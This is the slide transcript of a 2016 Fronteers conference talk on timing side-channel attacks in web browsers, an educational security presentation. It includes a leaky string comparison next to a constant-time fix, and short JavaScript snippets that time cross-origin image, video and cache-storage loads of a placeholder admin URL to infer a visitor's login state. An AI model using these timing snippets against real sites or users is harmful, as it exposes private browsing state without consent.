Front-End Performance: The Dark Side @ Fronteers Spring Conference 2016

Front-End Performance: The Dark Side @ Fronteers Spring Conference 2016

In security-sensitive situations, performance can actually be a bug rather than a feature. This presentation covers timing attacks on the web, and demonstrates how modern performance-related web APIs can sometimes have a negative security impact.

More information: https://dev.opera.com/blog/timing-attacks/

24e08a9ea84deb17ae121074d0f17125?s=128

Mathias Bynens

April 01, 2016
Tweet

Transcript

  1. @mathias THE DARK SIDE FRONT-END PERFORMANCE

  2. @mathias function compare(a, b) { return a === b; }

    compare('Fronteers', 'Fronteers'); // → true @ 1000 μs compare('Fronteers', 'Fronteerz'); // → false @ 1000 μs compare('Spring', 'Thing'); // → false @ 100 μs compare('Spring', 'Zpring'); // → false @ 200 μs
  3. @mathias function compare(a, b) { return a === b; }

    compare('Fronteers', 'Fronteers'); // → true @ 1000 μs compare('Fronteers', 'Fronteerz'); // → false @ 1000 μs compare('Spring', 'Thing'); // → false @ 100 μs compare('CSS', 'XSS'); // → false @ 200 μs
  4. @mathias function compare(a, b) { return a === b; }

    compare('Fronteers', 'Fronteers'); // → true @ 1000 μs compare('Fronteers', 'Fronteerz'); // → false @ 1000 μs compare('Spring', 'Thing'); // → false @ 100 μs compare('CSS', 'XSS'); // → false @ 200 μs
  5. @mathias function compare(a, b) { const lengthA = a.length; if

    (lengthA !== b.length) { return false; // performance optimization #1 } for (let index = 0; index < lengthA; index++) { if (a.charCodeAt(index) !== b.charCodeAt(index)) { return false; // performance optimization #2 } } return true; // worst-case perf scenario }
  6. @mathias compare('Fronteers', 'Fronteers'); // → true @ 1000 μs compare('Fronteers',

    'Fronteerz'); // → false @ 1000 μs [opt. #2] compare('Spring', 'Thing'); // → false @ 100 μs [opt. #1] compare('CSS', 'XSS'); // → false @ 200 μs [opt. #2]
  7. @mathias SIDE-CHANNEL LEAK

  8. @mathias TIMING ATTACK

  9. @mathias compare($userInput, $secret);

  10. @mathias function compare(a, b) { const lengthA = a.length; if

    (lengthA !== b.length) { return false; // performance optimization #1 // allows attackers to figure out expected length } for (let index = 0; index < lengthA; index++) { if (a.charCodeAt(index) !== b.charCodeAt(index)) { return false; // performance optimization #2 // allows attackers to figure out expected // characters, one by one (except the last one) } } return true; // worst-case perf scenario }
  11. @mathias function safeCompare(a, b) { const lengthA = a.length; let

    result = 0; if (lengthA !== b.length) { b = a; result = 1; } for (let index = 0; index < lengthA; index++) { result |= ( a.charCodeAt(index) ^ b.charCodeAt(index) ); // XOR } return result === 0; }
  12. @mathias const image = new Image(); image.onerror = stopTimer; const

    end = performance.now(); const delta = end - start; alert(`Loading took ${ delta } milliseconds.`); }; startTimer(); image.src = 'https://example.com/admin.php';
  13. @mathias const image = new Image(); image.onerror = function() {

    const end = performance.now(); const delta = end - start; alert(`Loading took ${ delta } milliseconds.`); }; const start = performance.now(); image.src = 'https://example.com/admin.php';
  14. @mathias

  15. @mathias 750 ms

  16. @mathias

  17. @mathias 1250 ms

  18. @mathias const image = new Image(); image.onerror = function() {

    const end = performance.now(); const delta = end - start; alert(`Loading took ${ delta } milliseconds.`); }; const start = performance.now(); image.src = 'https://example.com/admin.php';
  19. @mathias MODERN TIMING ATTACKS

  20. @mathias SNIFFLY OMG @BCRYPT R0CKX!!1

  21. @mathias

  22. @mathias VIDEO PARSING ⏱ ATTACK @TOMVANGOETHEM

  23. @mathias const video = document.createElement('video'); // `suspend` event == download

    complete video.onsuspend = startTimer; // `error` event == parsing complete video.onerror = stopTimer; video.src = 'https://example.com/admin.php';
  24. @mathias CACHE STORAGE ⏱ ATTACK @TOMVANGOETHEM

  25. @mathias const url = 'https://example.com/admin.php'; const dummyRequest = new Request('dummy');

    fetch(url, { 'credentials': 'include', 'mode': 'no-cors' }).then(function(response) { // The download has completed. startTimer(); return cache.put(dummyRequest, response.clone()); }).then(function() { // The resource has been stored in the cache. stopTimer(); });
  26. @mathias

  27. @mathias

  28. @mathias

  29. @mathias 30 ms

  30. @mathias

  31. @mathias 15 ms

  32. @mathias

  33. @mathias

  34. @mathias

  35. @mathias "

  36. @mathias THANKS! Sniffly by @bcrypt: https://mths.be/buy Research by @tomvangoethem: https://mths.be/buz

    Bonus — examples by @sirdarckcat: https://mths.be/bva